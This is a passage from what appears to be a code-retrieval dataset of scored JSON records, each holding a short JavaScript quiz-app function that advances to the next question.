setNextHardMovieQuestion() {\n\n resetState();\n\n showQuestion(hardMovieQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "82d748360dea07c90cbcc81e9393d149", "score": "0.7687081", "text": "function setNextQuestion() {\n resetState();\n showQuestion(shuffledQuestions[currentQuestionIndex])\n}", "title": "" }, { "docid": "a622c3ab8dbd0b1098cc03f44ce21328", "score": "0.7629892", "text": "function setNextQuestion() {\n resetState()\n showQuestion(shuffledQuestions[currentQuestionIndex])\n}", "title": "" }, { "docid": "a622c3ab8dbd0b1098cc03f44ce21328", "score": "0.7629892", "text": "function setNextQuestion() {\n resetState()\n showQuestion(shuffledQuestions[currentQuestionIndex])\n}", "title": "" }, { "docid": "a622c3ab8dbd0b1098cc03f44ce21328", "score": "0.7629892", "text": "function setNextQuestion() {\n resetState()\n showQuestion(shuffledQuestions[currentQuestionIndex])\n}", "title": "" }, { "docid": "71051818027b923077323a96941a9e4d", "score": "0.7606012", "text": "function nextQuestion() {\n if (currentQuestion <= questions.length) {\n setCurrentQuestion((prevCurrentQuestion) => prevCurrentQuestion + 1);\n }\n }", "title": "" }, { "docid": "69bae78f3d35c00beb2ff0433c0c324d", "score": "0.75792414", "text": "function nextQuestion() {\n // Updates question number\n questionIndex++;\n if (questionIndex > (questions.length - 1)) {\n endGame();\n } else {\n loadQuestion(questionIndex);\n }\n }", "title": "" }, { "docid": "6799c12e9d4d3bc684291f611e1ad542", "score": "0.75678706", "text": "function setNextQuestion() {\n resetState()\n showQuestion(shuffledQuestions[currentQuestionIndex])\n}", "title": "" }, { "docid": "31fe3771ef365c8ce0033d301a7d9309", "score": "0.7565644", "text": "function setNextEasyMovieQuestion() {\n\n resetState();\n\n showQuestion(easyMovieQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "9f5481f3cafa91adf7279a7ab1009252", "score": "0.7558311", "text": "function setNextQuestion() { \n resetState();\n showQuestion(shuffledQuestions[currentQuestionIndex]);\n}", "title": "" }, { "docid": "c2b0ad5b5c859dfc4e99c9c0d4d286f0", "score": "0.7548403", "text": "function nextQuestion(){\n resetState()\n showQuestion(mixQuestions[allQuestionIndex])\n }", "title": "" }, { "docid": "b8a70b0b61c5293fe898f4e2ffbc1dc1", "score": "0.7539362", "text": "function setNextEasyHistoryQuestion() {\n\n resetState();\n\n showQuestion(easyHistoryQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "4a8dc6f57572cc00b370d14a8771fe9d", "score": "0.75365955", "text": "function setNextEasySportQuestion() {\n\n resetState();\n\n showQuestion(easySportQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "35d0632b6a83ff99b020daab325b8d12", "score": "0.7535236", "text": "function setNextHardHistoryQuestion() {\n\n resetState();\n\n showQuestion(hardHistoryQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "84d8c3a71f65cf097e7e706cb5f5c1af", "score": "0.75162506", "text": "function nextQuestion() {\n hideQuestion(currentQuestion);\n hideAnswerButton();\n showQuestion(currentQuestion);\n currentQuestion++;\n }", "title": "" }, { "docid": "60dd563026fde9fcf91a7a08d4a752f0", "score": "0.7451323", "text": "function setNextHardSportQuestion() {\n\n resetState();\n\n showQuestion(hardSportQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "fac8d6edee40b5a6a9b95fb13c1d2e6d", "score": "0.73783356", "text": "function setNextEasyScienceQuestion() {\n\n resetState();\n\n showQuestion(easyScienceQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "cc16e9cc22ef1134ff4e8ea3c1779f4d", "score": "0.7371945", "text": "function setNextMediumMovieQuestion() {\n\n resetState();\n\n showQuestion(mediumMovieQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "0dca72b558b1081174acdedc55072515", "score": "0.73697984", "text": "function setNextQuestion() {\n resetState();\n showQuestion(randomQuestions[questionIndex]);\n}", "title": "" }, { "docid": "6c4bba4bd0f64ef1f4309e6bcc279dca", "score": "0.7336386", "text": "function setNextMediumHistoryQuestion() {\n\n resetState();\n\n showQuestion(mediumHistoryQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "a202f7e45de9032d667fc6680a7e8d9c", "score": "0.73314", "text": "function setNextHardScienceQuestion() {\n\n resetState();\n\n showQuestion(hardScienceQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "639ca47372486addbcf3246cda07983f", "score": "0.7318013", "text": "function nextQuestion(question) {\n hideQuestion(question);\n question++;\n showQuestion(question);\n // return currentQuestion;\n}", "title": "" }, { "docid": "60f4f093a0045143059fb3f3f6ec84d2", "score": "0.73046166", "text": "function nextQuestion() {\n ++currentQ;\n setTimeout(renderQuestion, 2000);\n\n }", "title": "" }, { "docid": "7b46817a749eacfe594f35b36922c214", "score": "0.727404", "text": "function setNextMediumSportQuestion() {\n\n resetState();\n\n showQuestion(mediumSportQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "6e05510760a87f470ef52ec1112964ba", "score": "0.72569895", "text": "nextQuestion(){\n this.state.current++;\n this.view.printQuestion(this.questions[this.state.current].question);\n }", "title": "" }, { "docid": "f1f4366b1e1e4e6934a7d2376606b185", "score": "0.7237118", "text": "function nextQuestion() {\n resetState();\n showQuestion(shuffledQuestions[currentQuestionIndex]);\n}", "title": "" }, { "docid": "73601dc16517e6d746a250f15fc4498a", "score": "0.7234198", "text": "function questionNext() {\n //need timer to recognize when questionset has ended\n const questionSetEnd = (questionSet.length - 1) === currQuestion;\n if (questionSetEnd) {\n summary();\n } \n \n else {\n currQuestion++;\n loadQuestion();\n }\n }", "title": "" }, { "docid": "74ee2cdaa628b637fa3c684636cc7a81", "score": "0.7212764", "text": "nextQuestion() {\n // update current question number\n this.questionNumber++;\n }", "title": "" }, { "docid": "30331c205568614a9946319f45807bfc", "score": "0.72067195", "text": "function setNextMediumScienceQuestion() {\n\n resetState();\n\n showQuestion(mediumScienceQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "d9e2e2499cc26589d9ab1a6d2329af66", "score": "0.7186867", "text": "function nextQuestion() {\n Q++;\n answerOrOOT = false;\n if (Q > questions.length - 1) {\n endGame();\n } else {\n questionPageLayout();\n resetTimer();\n }\n }", "title": "" }, { "docid": "88898ff0089027857381dfb7e36a7754", "score": "0.7158402", "text": "gotoNextQuestion() {\n const { currentQuestionNumber, totalQuestionsNumber } = this.state;\n const isLast = (currentQuestionNumber === totalQuestionsNumber);\n\n if (!isLast) this.fetchNewQuestion();\n else this.endWithResults();\n }", "title": "" }, { "docid": "33243d105a305d2e916c54ee5887928d", "score": "0.7157207", "text": "nextQuestion(){\n const number = this.state.questionNumber\n const questions = this.state.allQs\n const newNumber = questions[number].button_action\n this.setQuestionNumber(newNumber)\n this.hideFamily()\n }", "title": "" }, { "docid": "0aab5f4493837043bbe7a4bca8631498", "score": "0.711451", "text": "function nextQuestion() {\n increaseQuestionTracker();\n increaseQuestionNumber();\n renderQuizAppQuestion();\n renderPossibleAnswers();\n renderTracker();\n}", "title": "" }, { "docid": "65e14c26c4e79637a9e7ad0a5eb94381", "score": "0.7109945", "text": "function setNextQuest(){\n resetState()\n showQuestion(shuffledQuestions[currentQuestionIndex])\n}", "title": "" }, { "docid": "f8598eb9db9e8788707da7bedcae9d85", "score": "0.70700026", "text": "function nextQuestion(){\r\n if (store.questionNumber <= store.questions.length){\r\n store.questionNumber +=1;\r\n }\r\n}", "title": "" }, { "docid": "4820eee35bcc77266f61e1c185cbbef0", "score": "0.70637804", "text": "function goToNextQuestion(){\n if (store.questionNumber < store.questions.length){\n store.questionNumber++;\n store.submitAns = false;\n } else if(store.questionNumber === store.questions.length) {\n store.quizStarted = false;\n }\n }", "title": "" }, { "docid": "a6a27a59e971561bfa97220b920f2174", "score": "0.705412", "text": "function advanceQuestion() {\n\tquestions[currentQuesitonIndex].find(\".nextPane\").unbind('click');\n\t\n}", "title": "" }, { "docid": "a77200604a686821f6aaef55e09e1faf", "score": "0.70525247", "text": "function nextQuestion() {\n resetState()\n showQuestion(getRandomQuestion[questionIndex])\n}", "title": "" }, { "docid": "6d435aef4e75f3e95186fa25d7517272", "score": "0.7049223", "text": "function loadNextQuestion(currentQuestionIndex){\n console.log(questions[currentQuestionIndex])\n}", "title": "" }, { "docid": "5bd1db3942320bdad71510c68ff465aa", "score": "0.7032458", "text": "async nextQuestion(){\n const { questions, answers, list } = this.state;\n \n let last = getLast(list);\n last && answers.push(last);\n\n let next = questions.shift();\n next && list.push(next);\n\n let currentIndex = list.length - 1;\n if(currentIndex < 0){\n currentIndex = 0;\n };\n \n await setStateAsync(this, {\n questions, answers, list, currentIndex, \n scrollEnabled: false\n }); \n }", "title": "" }, { "docid": "5d9feee8c25ad535ba5170db2aad7d56", "score": "0.70159817", "text": "nextquestion(){\n\t\t if(Number.isNaN(this.nextQ)){\n\t\t\t// Exit the survey and show results\n\t\t\t\n\t\t\tlet searchParams = new URLSearchParams({});\n\t\t\t\n\t\t\tfor(const kudo of this.results.kudos){\n\t\t\t\tsearchParams.append(\"kudos\",kudo);\n\t\t\t}\n\t\t\tfor(const rec of this.results.recommendations){\n\t\t\t\tsearchParams.append(\"recommendations\",rec);\n\t\t\t}\n\t\t\twindow.location.assign('results.html?' + searchParams.toString());\n\t\t\treturn;\n\t\t}\n\t\tlet searchParams = new URLSearchParams(window.location.search);\n\t\tsearchParams.set(\"q\",this.nextQ);\n\t\thistory.replaceState(null,'',window.location.pathname + '?' + searchParams.toString());\n\t\tthis.currentQuestion = new Question(this.formId, this.questions[this.nextQ], this.onquestioncomplete.bind(this));\n\t}", "title": "" }, { "docid": "f3f052dd99bc5a74962d793d6802601d", "score": "0.699174", "text": "nextQuestion() {\n this.setState({\n questionIndex: this.state.questionIndex + 1,\n question: this.state.questions[this.state.questionIndex]\n });\n }", "title": "" }, { "docid": "b1f2213ca8e9e095731e38fcf45c5121", "score": "0.6984203", "text": "function setupNextQuestion() {\n // Clear the previous question\n $(\"#currentQuestion\").empty();\n $(\"#possibleAnswers\").html(\"Waiting for next question ...\");\n\n // The end\n if (currentQuestionIdx >= (userQuestions.length - 1)) {\n endCurrentGame(totalCorrectScore, totalIncorrectScore);\n } else { // continue game\n clearTimeout(nextQuestionTimeoutTimer);\n // Wait a few seconds and then display next question\n nextQuestionTimeoutTimer = setTimeout(askAQuestion, nextQuestionTimeoutTime);\n }\n }", "title": "" }, { "docid": "27c23781620d166f188e2cb76ff5bd21", "score": "0.6980152", "text": "function nextQuestion(){\n const questionOver = (triviaQuestions.length -1) === currentQuestion;\n if (questionOver){\n console.log('end of question');\n displayResult();\n } \n \n else {\n currentQuestion++;\n loadQuestion();\n }\n}", "title": "" }, { "docid": "dc7e3a84f43a0dd68990303644b39dbd", "score": "0.69629616", "text": "function nextQuestion()\n{\n current += 1;\n \n if(current < question.length)\n {\n relabelQuestions();\n }\n else\n {\n submit();\n }\n}", "title": "" }, { "docid": "235edefb96118e68cb311ca19044d1f3", "score": "0.6955131", "text": "function nextQuestion() {\n\n if (qi < quiz.length-1) {\n qi++\n buttonCycle(false)\n populateQuestion(shuffledQuiz[qi],qi)\n } else {\n // Out of questions, end game\n endQuiz(\"complete\")\n }\n\n}", "title": "" }, { "docid": "0be4dc1edd24211f9570b787d588a7c9", "score": "0.694569", "text": "function nextquestion() {\n checkAnswers();\n //goes to next possition in myQs array \n currentquestion++;\n restartTimeorEndQuiz();\n}", "title": "" }, { "docid": "783b258d3f6a9a6b7f7e4d32f619e305", "score": "0.6929604", "text": "function nextQuestion() \n{\n reset()\n showQuestion(randomQuestion[currentQuestion])\n}", "title": "" }, { "docid": "2d13d48f2036130efd27d4ad04aa9634", "score": "0.692061", "text": "function updateQuestion(){\n questionIndex++;\n currentQuestion = questions[questionIndex];\n}", "title": "" }, { "docid": "4d273f5ed484c5f2c4ab17f078811aac", "score": "0.6919082", "text": "function nextquestion() {\n\n countquestions();\n\n question_number = question_number + 1;\n\n hideprevious();\n checkprogress(question_number);\n\n\n if (question_number == allquestions.length + 1) {\n endquiz();\n }\n else {\n loadquestion(question_number);\n }\n}", "title": "" }, { "docid": "2ef665247742e4dde1a83b99dd5ae038", "score": "0.68827736", "text": "function nextQuestion(){\n submt = true;\n $('#explanation').empty();\n $('#question').text(quiz[currentquestion]['question']);\n $('#pager').text('Question ' + Number(currentquestion + 1) + ' of ' + quiz.length);\n \n\t\t\tif(quiz[currentquestion].hasOwnProperty('image') && quiz[currentquestion]['image'] != \"\"){\n if($('#question-image').length == 0){\n $(document.createElement('img')).addClass('question-image').attr('id', 'question-image').attr('src', quiz[currentquestion]['image']).attr('alt', htmlEncode(quiz[currentquestion]['question'])).insertAfter('#question');\n } else {\n $('#question-image').attr('src', quiz[currentquestion]['image']).attr('alt', htmlEncode(quiz[currentquestion]['question']));\n }\n } else {\n $('#question-image').remove();\n }\n addChoices(quiz[currentquestion]['choices']);\n setupButtons();\n }", "title": "" }, { "docid": "f49b77155cf9930f6f793c7b13761306", "score": "0.6875638", "text": "function next(){\n\tnumber = 61;\n\t//After selecting an answer we set it to the next question number\n\tquestionNumber++;\n\tdisplayQuestion();\n}", "title": "" }, { "docid": "37e88b7f562683546519b44a2570945b", "score": "0.6855539", "text": "function nextQuestion() {\n ansStatus.innerHTML = \"\";\n nxtQues.style.visibility = \"hidden\";\n selectedAnswer = \"\";\n questionTracker++;\n if (questionTracker < questionArray.length) {\n generateQuestion();\n } else {\n getPlayerDetails();\n }\n}", "title": "" }, { "docid": "23a4de375bb0012cba8b8c6b646318e3", "score": "0.685437", "text": "function next(answer) {\r\n // savedAnswers.push(answer);\r\n savedAnswers.splice(question, 1, answer)\r\n // console.log(savedAnswers);\r\n if (question >= questionAmount - 1) {\r\n altQuestion()\r\n } else {\r\n question++;\r\n start();\r\n // console.log(parties);\r\n }\r\n}", "title": "" }, { "docid": "6f5dd324643158064f65a1420092c913", "score": "0.6853178", "text": "function nextQuestion(){\n\t// hides review section\n\thideReview();\n\t// sets review to false\n\treview = false;\n\t// set time to 30 seconds\n\ttime = 30;\n\t//shows the next question and answer choices\n\tquestionNum++;\n\tcount++;\n\tshowChoicesSec();\n\tshowQuestion();\n}", "title": "" }, { "docid": "a1cbedc3d326efcb3e43a144db472f24", "score": "0.68515086", "text": "function showNextQuestion() { \n var question = questions[currentQuestion];\n console.log(question); \n console.log(\"Question #\" + currentQuestion);\n if (question === undefined) {\n endQuiz();\n\n } else {\n questionTitle.innerHTML = question.title;\n question.choices.forEach(function(choice, index) {\n var button = document.querySelector(\"#answer\" + index);\n button.innerHTML = choice; \n button.setAttribute(\"correctAnswer\", question.correctAnswer); \n \n });\n }\n console.log(question);\n}", "title": "" }, { "docid": "36bc7bbec534a659b8c8e98aa00f37aa", "score": "0.68465316", "text": "function nextQuestion(vote) {\n\tanswers[index] = vote;\n\tindex++;\n\t/*if the end is reached show the last page*/\n\tif (index >= subjects.length) {\n\t\tshowPriority();\n\t} else {\n\t\tshowQuestion();\n\t}\n}", "title": "" }, { "docid": "ebdde6967d801c3f16e2e64cac28438c", "score": "0.68380284", "text": "function loadNextQuestion() {\n console.log(\"Loadnextquestion called\")\n\n }", "title": "" }, { "docid": "84a4433ea828fda1b8b9909f9fad19eb", "score": "0.683436", "text": "function nextQuestion(){\n submt = true;\n $('#fact').empty();\n $('#explan').empty();\n $('#question').text(quiz[currentquestion]['question']);\n $('#pager').text('Question ' + Number(currentquestion + 1) + ' of ' + quiz.length);\n if(quiz[currentquestion].hasOwnProperty('image') && quiz[currentquestion]['image'] != \"\"){\n if($('#question-image').length == 0){\n $(document.createElement('img')).addClass('question-image').attr('id', 'question-image').attr('src', quiz[currentquestion]['image']).attr('alt', htmlEncode(quiz[currentquestion]['question'])).insertAfter('#question');\n } else {\n $('#question-image').attr('src', quiz[currentquestion]['image']).attr('alt', htmlEncode(quiz[currentquestion]['question']));\n }\n } else {\n $('#question-image').remove();\n }\n addChoices(quiz[currentquestion]['choices']);\n setupButtons();\n }", "title": "" }, { "docid": "0a7f679c9e5dd989bdb16eb2577c73d0", "score": "0.68323493", "text": "function nextQuestion(){\n submt = true;\n possScore = 0;\n $('#explanation').empty();\n $('#question').text(quiz[currentquestion]['question']);\n $('#pager').text('Domanda ' + Number(currentquestion + 1) + ' di ' + quiz.length);\n if(quiz[currentquestion].hasOwnProperty('image') && quiz[currentquestion]['image'] != \"\"){\n if($('#question-image').length == 0){\n $(document.createElement('img')).addClass('question-image').attr('id', 'question-image').attr('src', quiz[currentquestion]['image']).insertAfter('#question');\n } else {\n $('#question-image').attr('src', quiz[currentquestion]['image']);\n }\n } else {\n $('#question-image').remove(); \n }\n progress(secondsToAnswer,secondsToAnswer, $('#progressBar'), true);\n addChoices(quiz[currentquestion]['choices']);\n setupButtons();\n }", "title": "" }, { "docid": "4f8d2dd6cd6975bba5076ed35c733b53", "score": "0.68301016", "text": "function nextQuestion(){\n submt = true;\n $('#explanation').empty();\n $('#question').text(quiz[currentquestion]['question']);\n $('#pager').text('Question ' + Number(currentquestion + 1) + ' of ' + quiz.length);\n if(quiz[currentquestion].hasOwnProperty('image') && quiz[currentquestion]['image'] != \"\"){\n if($('#question-image').length == 0){\n $(document.createElement('img')).addClass('question-image').attr('id', 'question-image').attr('src', quiz[currentquestion]['image']).attr('alt', htmlEncode(quiz[currentquestion]['question'])).insertAfter('#question');\n } else {\n $('#question-image').attr('src', quiz[currentquestion]['image']).attr('alt', htmlEncode(quiz[currentquestion]['question']));\n }\n } else {\n $('#question-image').remove();\n }\n addChoices(quiz[currentquestion]['choices']);\n setupButtons();\n }", "title": "" }, { "docid": "f861bbe46ac3589622026f767d0923ce", "score": "0.68255824", "text": "function nextQuestion() {\r\n var q = questions[nextQuestionIndex];\r\n // replace the question/choice div with the appropriate question and choices\r\n question.innerHTML = q.question;\r\n choiceA.innerHTML = q.choiceA;\r\n choiceB.innerHTML = q.choiceB;\r\n choiceC.innerHTML = q.choiceC;\r\n choiceD.innerHTML = q.choiceD;\r\n}", "title": "" }, { "docid": "86b913a136db010ef6ca7cfa8942dc4c", "score": "0.68199676", "text": "function handleNextQuestion(isAnswerSelected) {\n if (isAnswerSelected) {\n const answers = {};\n const currentQuestionId = questions[currentQuestion].id;\n answers[currentQuestionId] = currentAnswerSelected;\n setChosenAnswers({ ...answers, ...chosenAnswers });\n }\n setCurrentAnswerSelected({});\n setTimer(timerLimit);\n setCurrentQuestion(currentQuestion + 1);\n }", "title": "" }, { "docid": "f2818a0549bb8b5d1f294a483d1589c2", "score": "0.6811942", "text": "function nextQuestion () {\n\t\tif (x < questionObject.length) {\n\t\t\t$(\".question\").html(\"<h3>\" + questionObject[x].question + \"</h3><br>\");\n\t\t\t} \n\t\t}", "title": "" }, { "docid": "453846b874f2bdb0ff8175369a9cec95", "score": "0.6811276", "text": "function nextQuestion(){\r\n if(currentIndex < questions.length - 1){//you can't infinitely click \"next\"\r\n resetCounter();\r\n clearField();\r\n currentIndex++;\r\n answerIndex += 4;\r\n currentCorrectAns = correctAnswers[currentIndex];\r\n // removeAnswers()\r\n display();//add the new ones\r\n }else{\r\n displayEndingScreen();\r\n }\r\n}", "title": "" }, { "docid": "77954bb1df871038a1d408d00030a623", "score": "0.6781968", "text": "function nextQuestion(){\n // Get Current Question information.\n var next_question_index = parseInt($(\".question_answers .question_counter\").data(\"start\"));\n next_question_index++;\n \n var question_number = (next_question_index + 1);\n var q = createQuestion(QUESTIONS[next_question_index], ANSWERS, question_number);\n $(\".question_answers\").empty();\n $(\".question_answers\").append(q);\n}", "title": "" }, { "docid": "e02a95d0f57c747929558764a2a932bf", "score": "0.6781431", "text": "function nextQ() {\n checkQ();\n\n questionCounter++;\n //If the count is the same as the length of the question array, the counts reset to 0\n if (questionCounter === questions.length) {\n setTimeout(displayEnd, wait);\n }\n else {\n setTimeout(displayQ, wait);\n };\n }", "title": "" }, { "docid": "403562a3cecba63a3640255d866b186e", "score": "0.67780256", "text": "nextQuestion() {\n let question = this.question_list[this.question_count];\n this.question_count += 1;\n return question;\n }", "title": "" }, { "docid": "14d613416c75e5427befd1cc55f43bc4", "score": "0.6771205", "text": "function setNextQuestion(){\n resetState()\n console.log(\"setNextQuestion-started\")\n showQuestion(randomQuestions[currentQuestionIndex])\n checkAnswer.classList.remove('hide')\n console.log(\"setNextQuestion-finished\")\n\n// This will randomly check which questions they have already had, (no repeating) and set the next question\n// We need this function to use inserttext innerhtml etc. to to put the question and options into the html and it will pull from randomQuestion[i]\n}", "title": "" }, { "docid": "d18ce93092e210611060fd15ff9e13ce", "score": "0.6757333", "text": "function nextQuestionRender() {\n if (currentQuestionIdx == undefined) {\n currentQuestionIdx = 0;\n } else {\n currentQuestionIdx++;\n }\n\n $(\"#currentQuestion\").html(userQuestions[currentQuestionIdx].question);\n }", "title": "" }, { "docid": "da27d2822fbb2af4a3b4cd24ccbf110c", "score": "0.67537427", "text": "function nextQuestion() {\n questionIndex += 1; //qI steigt\n Print.removeChild(document.querySelector(\".correct\")); // Correct verschwindet\n if (questionIndex < questions.length) {\n //qI kleiner als gesamt\n correctAnswer = questions[questionIndex].answer; //dann richtige Antwort true oder false\n myQuestion.textContent = questions[questionIndex].question; //textinhalt je nach qI\n updateProgress();\n } else {\n finishQuiz();\n }\n}", "title": "" }, { "docid": "cfdf02bb763a7006ca7c75fe2674295b", "score": "0.6749531", "text": "function nextQuestion(){\n\n\t//changes CSS for elements that have to be hidden\n\thideAll();\n\n\t//changes CSS for elements that have to be hidden\n\tsetTimeout(hideSolution,1000);\n\t\n\tsetTimeout(function(){\n\t\t//Generate the next question if questions left\n\t\tif((currentQuestion) < arrayAllQuestions.length-1){\n\t\t\tcurrentQuestion++;\n\t\t\tupDateQuestion(currentQuestion, arrayAllQuestions);\n\t\t\tsetTimeout(unHideAll, 500);\n\t\t}\n\n\t\t//If no questions left caluclate score and present\n\t\telse {\n\t\t\thideQuestionScreen();\n\t\t\tsetTimeout(generateResultPage,1200); \n\t\t\t\n\t\t\tsetTimeout(function(){\n\t\t\t\t//updates score in DOM\n\t\t\t\tupdateScore(arrayAllQuestions)\n\n\t\t\t\t//Changes opcaity to show content\n\t\t\t\tshowResultScreen();\n\t\t\t},3000);\n\t\t}\n\t}, 1000);\n\n\t\n}", "title": "" }, { "docid": "8503b2514e8f4c860fa3743e34ecf2e5", "score": "0.6744908", "text": "function setNextHardGeographyQuestion() {\n\n resetState();\n\n showQuestion(hardGeographyQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "18886cdd6b6e9e7885947015606707e8", "score": "0.67340285", "text": "function nextQuestion() {\n // define var numberI to use it as an object key\n var numberI = \"number\" + currentQNumber\n\n // bring question at key:number'i'\n var question = QnA[numberI].question\n console.log(question)\n\n // empty all comment div & update new question in question div\n $(\"#comment\").empty()\n $(\"#question\").html(question)\n}", "title": "" }, { "docid": "2d92026942154de8642cf52b9b8adf38", "score": "0.6732177", "text": "function setActiveQuestion(index){\n\t\t\t\t if(index === undefined){\n\t\t\t\t var breakOut = false;\n\t\t\t\t var quizLength = DataService.quizQuestions.length-1;\n\t\t\t\t\t // since index starts from 0 we will give length-1\n\t\t\t\t \n\t\t\t\t while(!breakOut){\n\t\t\t\t\t vm.activeQuestion = vm.activeQuestion < quizLength?++vm.activeQuestion:0;\n\t/* if num of questions less than quizlength then increment question else set it to 0.*/\n\t\t\t\t\t if(vm.activeQuestion ===0){\n\t\t\t\t\t\t vm.error = true;\n\t\t\t\t\t }\n\t\t\t\t\t if(DataService.quizQuestions[vm.activeQuestion].selected === null){\n\t\t\t\t\t\t breakOut = true;\n\t\t\t// if the selected question null breakout from while loop\n\t\t\t\t\t }\n\t\t\t\t }\n\t\t\t\t }else{\n\t\t\t\t\t vm.activeQuestion = index;\n\t\t/* Set activeQuestion to index of button pressed by user.For example if user want to move from 2nd question to fifth question skipping between questions then index of activequestion should move correspondigly.*/\n\t\t\t\t }\n\t\t\t }", "title": "" }, { "docid": "41406606f55af4609d10c13e7b1450d7", "score": "0.67283905", "text": "function nextQuestion() {\r\n\r\n PageMethod(\"GetNextQuestion\", [], nextQuestionCallback, generalFailCallback, false); \r\n }", "title": "" }, { "docid": "cb85388d5382bf170b30fd01006bf5df", "score": "0.67175525", "text": "function nextQuestion(){\r\n $('main').on('click','button.next',event=>{\r\n index++;\r\n if (store.questionNumber <= store.questions.length){\r\n $('section').replaceWith(startQuiz(store));\r\n }else{\r\n $('section').replaceWith(rendersResults(store));\r\n }\r\n });\r\n}", "title": "" }, { "docid": "04268001a352fa3586bef134d4942b93", "score": "0.67173505", "text": "function setNextEasyGeographyQuestion() {\n\n resetState();\n\n showQuestion(easyGeographyQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "80c851131a0b11c011934d1394207212", "score": "0.66971135", "text": "function setNextMediumGeographyQuestion() {\n\n resetState();\n\n showQuestion(mediumGeographyQuestionsArray[currentQuestionIndex]);\n}", "title": "" }, { "docid": "b43538e17421c1de1d0dac229cd1394f", "score": "0.6696463", "text": "function nextQuestion() {\n\tif (gameStatus()) {\n\t\tcurrentQuestion++;\n\t\tpopulateQuestionaire();\n\t\t$(\"#artistResults p\").css(\"color\", \"#567\");\n\t\t$(\"#artistResults p\").css(\"font-weight\", \"bold\");\n\t\t$(\"#guitarResults p\").css(\"color\", \"#567\");\n\t\t$(\"#guitarResults p\").css(\"font-weight\", \"bold\");\n\t\t$(\"#submit_answer\").css(\"display\",\"inline\"); \n\t} else {\n\t\t// $(\"#next_question\").css(\"display\",\"none\");\n\t\t$(\"#questionContainer\").css(\"display\", \"none\");\n\t\tgameOverMessage();\n\t}\n}", "title": "" }, { "docid": "0a3056df5c19d3f7de2d77e33bff3002", "score": "0.66846347", "text": "function showNextQuestion() {\n\n currentIdx++; // Move to next question.\n\n // Go to next question if there are more.\n if (currentIdx < QUESTION_ARRAY.length) {\n buildQuestion(currentIdx);\n\n hideAll();\n \n // Show the questions.\n $(\"#questionsDiv\").show();\n\n // Update the timer display.\n restartTimer();\n }\n else { // No more questions. Show the results.\n showResults();\n }\n }", "title": "" }, { "docid": "5894a52ca40904bb8923b5795a1b0b5b", "score": "0.6682203", "text": "function nextQuestion(){\n quest.textContent = questions[currentQuestion].question\n but0.textContent = questions[currentQuestion].choices[0]\n but1.textContent = questions[currentQuestion].choices[1]\n but2.textContent = questions[currentQuestion].choices[2]\n but3.textContent = questions[currentQuestion].choices[3] \n}", "title": "" }, { "docid": "3f258d1c2c203f803178f65f0e89d40f", "score": "0.6680417", "text": "handleNextClick() {\n let question = this.category.questions[this.category.current];\n question.viewed = true;\n if (this.category.current === this.category.questions.length - 1) {\n this.category.current = 0;\n }\n else {\n this.category.current += 1;\n }\n this.setState(this.createState());\n }", "title": "" }, { "docid": "4ea65a0c918f8f8684ebb72b44effdd0", "score": "0.666854", "text": "function showNextQuestion() {\n if ((currentChoices.length - 1) < (currentQuestion - 1)) {\n var currentAnswer = [];\n var numAnswers = AnswerSets[currentQuestion - 1].length;\n for (var choiceEnum = 0; choiceEnum < numAnswers; choiceEnum++) {\n if ($('#answer' + choiceEnum.toString()).is(':checked')) {\n currentAnswer.push(1);\n }\n else {\n currentAnswer.push(0);\n }\n }\n currentChoices.push(currentAnswer);\n }\n else {\n var currentAnswer = [];\n var numAnswers = AnswerSets[currentQuestion - 1].length;\n for (var choiceEnum = 0; choiceEnum < numAnswers; choiceEnum++) {\n if ($('#answer' + choiceEnum.toString()).is(':checked')) {\n currentAnswer.push(1);\n }\n else {\n currentAnswer.push(0);\n }\n }\n currentChoices[currentQuestion - 1] = currentAnswer;\n }\n currentQuestion++;\n buildUI();\n}", "title": "" }, { "docid": "9ae13ef9ccbfe62732c3a6e9cee311c4", "score": "0.6660327", "text": "function nextQuestion() {\n currentQuestion++;\n setUpGame();\n}", "title": "" }, { "docid": "9fe038078d3641e14dc44c41b8566270", "score": "0.6658775", "text": "function nextQuestion(){\n questionsIndex++;\n if(questionsIndex >= questions.length){\n secondsLeft = 1;\n hideStartPage();\n hideQuestionContainer();\n showHighscoreContainer();\n } else {\n hideStartPage();\n displayQuestion();\n hideHighScoreContainer();\n }\n}", "title": "" }, { "docid": "a8143be259e65b1b5ffde244782aa5f0", "score": "0.6639062", "text": "function NextQuestion(){\n // this function will render the second question untill the quiz is complete\n // It will add 1 to questioNum and display the next question in the array\n\n $('.js-question').on('click','.js-next', function(){\n STATE.questionNum +=1;\n STATE.questionNumUI +=1;\n $('.js-quiz').remove();\n renderQuestion();\n }\n )}", "title": "" }, { "docid": "1e05dabab9704a4331e22ec0a2c5ad8e", "score": "0.66360825", "text": "function prevQuestion() {\n if (current > 1) {\n current--\n };\n focusThis(current);\n }", "title": "" }, { "docid": "274d9c6f9c73b2006ed13d1378a93d24", "score": "0.66342187", "text": "function QuizNextQuestion() {\n\tif ((QuizTimer >= QuizBetweenQuestionTimer) && (QuizBetweenQuestionTimer > 0)) {\n\t\tif ((QuizProgressLeft >= QuizGoal) || (QuizProgressRight >= QuizGoal)) QuizEnded = true;\n\t\tQuizTimer = QuizOtherQuestionTime * -1;\n\t\tQuizAnswerText = \"\";\n\t\tQuizAnswerBy = \"\";\n\t\tQuizBetweenQuestionTimer = 0;\n\t\tQuizAnswer = null;\n\t\tQuizImageActionActorLeader = \"\";\n\t\tQuizRightActorAnswerTimer = 0;\n\t}\t\n}", "title": "" }, { "docid": "df80e25292320d59d58eba838373fe31", "score": "0.6631538", "text": "function loadQuestion(currentQuestion) {\n\n var q = questions[currentQuestion];\n questionEl.textContent = (currentQuestion + 1) + '. ' + q.question; //////Obtenemos la pregunta especififca\n\n op1.textContent = q.option1;\n op2.textContent = q.option2;\n op3.textContent = 